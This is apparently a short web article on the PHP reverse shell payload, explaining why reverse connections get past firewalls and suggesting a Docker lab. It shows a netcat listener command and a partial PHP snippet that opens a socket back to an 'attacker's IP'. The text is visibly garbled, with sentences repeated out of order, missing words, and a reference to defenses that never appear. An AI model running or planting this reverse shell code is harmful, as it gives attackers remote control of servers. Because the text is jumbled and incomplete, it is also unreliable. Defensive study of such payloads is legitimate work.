Php-reverse-shell

At first glance, it looks like just another PHP script. But this small file (famously maintained by ) is one of the most widely used payloads in web application attacks.

If you manage a PHP application today, ask yourself: Could an attacker write this script to my web root? If yes, that’s your highest-priority fix. Want a lab to test this safely? Set up two Docker containers — one for the attacker (with netcat) and one for the victim (Apache + PHP). Try uploading the reverse shell, then implement the defenses above to stop it. php-reverse-shell

Normally, when you connect to a remote server (like SSH or a web shell), you initiate the connection. That’s a —the server listens, and you connect. At first glance, it looks like just another PHP script

nc -lvnp 4444 Compromised server (calling back): php -r '...reverse shell code...' Anatomy of php-reverse-shell.php Here’s a simplified version of what the script does (full versions add error handling, timeouts, and stream support): If yes, that’s your highest-priority fix

<?php set_time_limit(0); $ip = '127.0.0.1'; // Attacker's IP $port = 4444; // Attacker's port $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { die("Error: $errstr ($errno)"); }

A flips the script. The compromised server calls back to your machine. Why? Because firewalls almost always block incoming connections to servers, but they rarely block outbound connections (like a server fetching an API or a user browsing the web).